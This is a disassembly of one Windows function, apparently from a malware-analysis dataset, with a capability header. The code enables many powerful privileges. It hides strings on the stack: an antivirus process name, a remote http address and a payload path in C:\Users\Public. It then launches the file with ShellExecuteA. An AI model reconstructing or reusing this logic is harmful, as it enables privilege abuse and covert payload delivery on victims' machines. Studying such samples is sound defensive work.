Function at 0x402220
Capabilities:
Acquire debug privileges
Contain obfuscated stackstrings
Create process on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x530685
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x1064
call fcn.0050c8f0
mov eax, dword [0x57dcf0]
xor eax, esp
mov dword [esp + 0x1060], eax
push ebx
push esi
push edi
mov eax, dword [0x57dcf0]
xor eax, esp
push eax
lea eax, [esp + 0x1078]
mov dword fs:[0], eax
xor ebx, ebx
mov esi, 0xf
lea eax, [esp + 0xf14]
mov dword [esp + 0x10], ecx
mov dword [esp + 0x18], 8
mov dword [esp + 0xf14], 0x74303633
mov dword [esp + 0xf18], 0x2e796172
mov dword [esp + 0xf1c], 0x657865
mov dword [esp + 0x34], esi
mov dword [esp + 0x30], ebx
mov byte [esp + 0x20], bl
lea edi, [eax + 1]
nop
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x4022b0
sub eax, edi
push eax
lea eax, [esp + 0xf18]
push eax
lea ecx, [esp + 0x28]
call fcn.004057f0
mov edi, dword [esp + 0x10]
add edi, 0xb8
lea ecx, [esp + 0x20]
mov dword [esp + 0x1080], ebx
call fcn.00402f90
mov dword [esp + 0x1080], 0xffffffff
cmp dword [esp + 0x34], 0x10
jb 0x402304
mov ecx, dword [esp + 0x20]
push ecx
call fcn.0040a456
add esp, 4
lea edx, [esp + 0x18]
push edx
mov dword [esp + 0x20], 0xff
call dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
mov edi, dword [esp + 0x10]
mov ecx, edi
call fcn.00416ede
push 0x10
push str.SeDebugPrivilege
lea ecx, [esp + 0x28]
mov dword [esp + 0x3c], esi
mov dword [esp + 0x38], ebx
mov byte [esp + 0x28], bl
call fcn.004057f0
add edi, 0xc8
lea ecx, [esp + 0x20]
mov dword [esp + 0x1080], 1
call fcn.00402f90
mov dword [esp + 0x1080], 0xffffffff
cmp dword [esp + 0x34], 0x10
jb 0x402377
mov eax, dword [esp + 0x20]
push eax
call fcn.0040a456
add esp, 4
push 0x17
push str.SeChangeNotifyPrivilege
lea ecx, [esp + 0x28]
mov dword [esp + 0x3c], esi
mov dword [esp + 0x38], ebx
mov byte [esp + 0x28], bl
call fcn.004057f0
lea ecx, [esp + 0x20]
mov dword [esp + 0x1080], 2
call fcn.00402f90
mov dword [esp + 0x1080], 0xffffffff
cmp dword [esp + 0x34], 0x10
jb 0x4023c6
mov ecx, dword [esp + 0x20]
push ecx
call fcn.0040a456
add esp, 4
push 0xe
push str.SeTcbPrivilege
lea ecx, [esp + 0x28]
mov dword [esp + 0x3c], esi
mov dword [esp + 0x38], ebx
mov byte [esp + 0x28], bl
call fcn.004057f0
lea ecx, [esp + 0x20]
mov dword [esp + 0x1080], 3
call fcn.00402f90
mov dword [esp + 0x1080], 0xffffffff
cmp dword [esp + 0x34], 0x10
jb 0x402415
mov edx, dword [esp + 0x20]
push edx
call fcn.0040a456
add esp, 4
push 0x16
push str.SeImpersonatePrivilege
lea ecx, [esp + 0x28]
mov dword [esp + 0x3c], esi
mov dword [esp + 0x38], ebx
mov byte [esp + 0x28], bl
call fcn.004057f0
lea ecx, [esp + 0x20]
mov dword [esp + 0x1080], 4
call fcn.00402f90
mov dword [esp + 0x1080], 0xffffffff
cmp dword [esp + 0x34], 0x10
jb 0x402464
mov eax, dword [esp + 0x20]
push eax
call fcn.0040a456
add esp, 4
push 0x15
push str.SeLoadDriverPrivilege
lea ecx, [esp + 0x28]
mov dword [esp + 0x3c], esi
mov dword [esp + 0x38], ebx
mov byte [esp + 0x28], bl
call fcn.004057f0
lea ecx, [esp + 0x20]
mov dword [esp + 0x1080], 5
call fcn.00402f90
mov dword [esp + 0x1080], 0xffffffff
cmp dword [esp + 0x34], 0x10
jb 0x4024b3
mov ecx, dword [esp + 0x20]
push ecx
call fcn.0040a456
add esp, 4
push 0x12
push str.SeRestorePrivilege
lea ecx, [esp + 0x28]
mov dword [esp + 0x3c], esi
mov dword [esp + 0x38], ebx
mov byte [esp + 0x28], bl
call fcn.004057f0
lea ecx, [esp + 0x20]
mov dword [esp + 0x1080], 6
call fcn.00402f90
mov dword [esp + 0x1080], 0xffffffff
cmp dword [esp + 0x34], 0x10
jb 0x402502
mov edx, dword [esp + 0x20]
push edx
call fcn.0040a456
add esp, 4
push 0x11
push str.SeBackupPrivilege
lea ecx, [esp + 0x28]
mov dword [esp + 0x3c], esi
mov dword [esp + 0x38], ebx
mov byte [esp + 0x28], bl
call fcn.004057f0
lea ecx, [esp + 0x20]
mov dword [esp + 0x1080], 7
call fcn.00402f90
mov dword [esp + 0x1080], 0xffffffff
cmp dword [esp + 0x34], 0x10
jb 0x402551
mov eax, dword [esp + 0x20]
push eax
call fcn.0040a456
add esp, 4
push 0x13
push str.SeSecurityPrivilege
lea ecx, [esp + 0x28]
mov dword [esp + 0x3c], esi
mov dword [esp + 0x38], ebx
mov byte [esp + 0x28], bl
call fcn.004057f0
lea ecx, [esp + 0x20]
mov dword [esp + 0x1080], 8
call fcn.00402f90
mov dword [esp + 0x1080], 0xffffffff
cmp dword [esp + 0x34], 0x10
jb 0x4025a0
mov ecx, dword [esp + 0x20]
push ecx
call fcn.0040a456
add esp, 4
push 0x1c
push str.SeSystemEnvironmentPrivilege
lea ecx, [esp + 0x28]
mov dword [esp + 0x3c], esi
mov dword [esp + 0x38], ebx
mov byte [esp + 0x28], bl
call fcn.004057f0
lea ecx, [esp + 0x20]
mov dword [esp + 0x1080], 9
call fcn.00402f90
mov dword [esp + 0x1080], 0xffffffff
cmp dword [esp + 0x34], 0x10
jb 0x4025ef
mov edx, dword [esp + 0x20]
push edx
call fcn.0040a456
add esp, 4
push 0x18
push str.SeIncreaseQuotaPrivilege
lea ecx, [esp + 0x28]
mov dword [esp + 0x3c], esi
mov dword [esp + 0x38], ebx
mov byte [esp + 0x28], bl
call fcn.004057f0
lea ecx, [esp + 0x20]
mov dword [esp + 0x1080], 0xa
call fcn.00402f90
mov dword [esp + 0x1080], 0xffffffff
cmp dword [esp + 0x34], 0x10
jb 0x40263e
mov eax, dword [esp + 0x20]
push eax
call fcn.0040a456
add esp, 4
push 0x18
push str.SeTakeOwnershipPrivilege
lea ecx, [esp + 0x28]
mov dword [esp + 0x3c], esi
mov dword [esp + 0x38], ebx
mov byte [esp + 0x28], bl
call fcn.004057f0
lea ecx, [esp + 0x20]
mov dword [esp + 0x1080], 0xb
call fcn.00402f90
mov dword [esp + 0x1080], 0xffffffff
cmp dword [esp + 0x34], 0x10
jb 0x40268d
mov ecx, dword [esp + 0x20]
push ecx
call fcn.0040a456
add esp, 4
push 0x1f
push str.SeIncreaseBasePriorityPrivilege
lea ecx, [esp + 0x28]
mov dword [esp + 0x3c], esi
mov dword [esp + 0x38], ebx
mov byte [esp + 0x28], bl
call fcn.004057f0
lea ecx, [esp + 0x20]
mov dword [esp + 0x1080], 0xc
call fcn.00402f90
mov dword [esp + 0x1080], 0xffffffff
cmp dword [esp + 0x34], 0x10
jb 0x4026dc
mov edx, dword [esp + 0x20]
push edx
call fcn.0040a456
add esp, 4
push 0x13
push str.SeShutdownPrivilege
lea ecx, [esp + 0x28]
mov dword [esp + 0x3c], esi
mov dword [esp + 0x38], ebx
mov byte [esp + 0x28], bl
call fcn.004057f0
lea ecx, [esp + 0x20]
mov dword [esp + 0x1080], 0xd
call fcn.00402f90
mov dword [esp + 0x1080], 0xffffffff
cmp dword [esp + 0x34], 0x10
jb 0x40272b
mov eax, dword [esp + 0x20]
push eax
call fcn.0040a456
add esp, 4
push 0x1d
push str.SeAssignPrimaryTokenPrivilege
lea ecx, [esp + 0x28]
mov dword [esp + 0x3c], esi
mov dword [esp + 0x38], ebx
mov byte [esp + 0x28], bl
call fcn.004057f0
lea ecx, [esp + 0x20]
mov dword [esp + 0x1080], 0xe
call fcn.00402f90
or edi, 0xffffffff
mov dword [esp + 0x1080], edi
cmp dword [esp + 0x34], 0x10
jb 0x402779
mov ecx, dword [esp + 0x20]
push ecx
call fcn.0040a456
add esp, 4
mov ecx, dword [esp + 0x10]
call fcn.00402af0
push ebx
call fcn.004179b3
add esp, 4
push 0xc
call fcn.0040a427
add esp, 4
mov dword [esp + 0x14], eax
mov dword [esp + 0x1080], esi
cmp eax, ebx
je 0x4027b1
mov ecx, eax
call fcn.0041816e
mov dword [esp + 0x14], eax
jmp 0x4027b5
mov dword [esp + 0x14], ebx
mov dword [esp + 0x1080], edi
push 0xff
lea edx, [esp + 0xf71]
push ebx
push edx
mov dword [esp + 0xf2c], 0x64322e38
mov dword [esp + 0xf30], 0x39333a30
mov byte [esp + 0xf34], bl
mov dword [esp + 0xf58], 0x552f3430
mov dword [esp + 0xf5c], 0x2e726573
mov dword [esp + 0xf60], 0x656465
mov dword [esp + 0xf64], 0x70747468
mov dword [esp + 0xf68], 0x322f2f3a
mov dword [esp + 0xf6c], 0x372e3264
mov dword [esp + 0xf70], 0x36312e39
mov byte [esp + 0xf74], bl
mov byte [esp + 0xf78], bl
call fcn.0050a9c0
add esp, 0xc
lea eax, [esp + 0xf4c]
push eax
lea ecx, [esp + 0xf24]
push ecx
lea edx, [esp + 0xf60]
push edx
lea eax, [esp + 0xf78]
push str._s_s_s
push eax
call fcn.0050849d
lea eax, [esp + 0xf40]
add esp, 0x14
mov dword [esp + 0xf2c], 0x555c3a43
mov dword [esp + 0xf30], 0x73726573
mov dword [esp + 0xf34], 0x6275505c
mov dword [esp + 0xf38], 0x5c63696c
mov dword [esp + 0xf3c], 0x64757473
mov dword [esp + 0xf40], 0x44746e65
mov dword [esp + 0xf44], 0x652e7461
mov word [esp + 0xf48], 0x6578
mov byte [esp + 0xf4a], bl
mov dword [esp + 0x50], esi
mov dword [esp + 0x4c], ebx
mov byte [esp + 0x3c], bl
lea edi, [eax + 1]
jmp 0x4028f0
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x4028f0
sub eax, edi
push eax
lea ecx, [esp + 0xf30]
push ecx
lea ecx, [esp + 0x44]
call fcn.004057f0
mov edi, 0x10
mov dword [esp + 0x1080], edi
lea eax, [esp + 0xf6c]
mov dword [esp + 0x6c], esi
mov dword [esp + 0x68], ebx
mov byte [esp + 0x58], bl
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x402930
sub eax, edx
push eax
lea edx, [esp + 0xf70]
push edx
lea ecx, [esp + 0x60]
call fcn.004057f0
lea edx, [esp + 0x3c]
lea ecx, [esp + 0x58]
mov byte [esp + 0x1080], 0x11
call fcn.00401e50
cmp dword [esp + 0x6c], edi
jb 0x402973
mov eax, dword [esp + 0x58]
push eax
call fcn.0040a456
add esp, 4
mov dword [esp + 0x1080], 0xffffffff
mov dword [esp + 0x6c], esi
mov dword [esp + 0x68], ebx
mov byte [esp + 0x58], bl
cmp dword [esp + 0x50], edi
jb 0x40299d
mov ecx, dword [esp + 0x3c]
push ecx
call fcn.0040a456
add esp, 4
mov dword [esp + 0x50], esi
mov esi, dword [esp + 0x10]
push 0x55cafc
mov ecx, esi
mov dword [esp + 0x50], ebx
mov byte [esp + 0x40], bl
call fcn.004182fd
lea edx, [esp + 0x74]
push edx
call fcn.00407de0
push ebx
push ebx
push str._s__v__qn_
lea eax, [esp + 0xf38]
push eax
push str.open
push ebx
mov dword [esp + 0x1098], 0x12
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x18015
jg 0x4029f6
push ebx
call fcn.00508c59
lea ecx, [esp + 0x74]
mov dword [esi + 0x20], ecx
call fcn.0040b132
mov ecx, dword [esp + 0x14]
cmp ecx, ebx
je 0x402a13
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push 1
call eax
lea ecx, [esp + 0x74]
push ecx
mov dword [esp + 0x1084], 0xffffffff
call fcn.00402a50
xor eax, eax
mov ecx, dword [esp + 0x1078]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x1060]
xor ecx, esp
call fcn.00507b10
mov esp, ebp
pop ebp
ret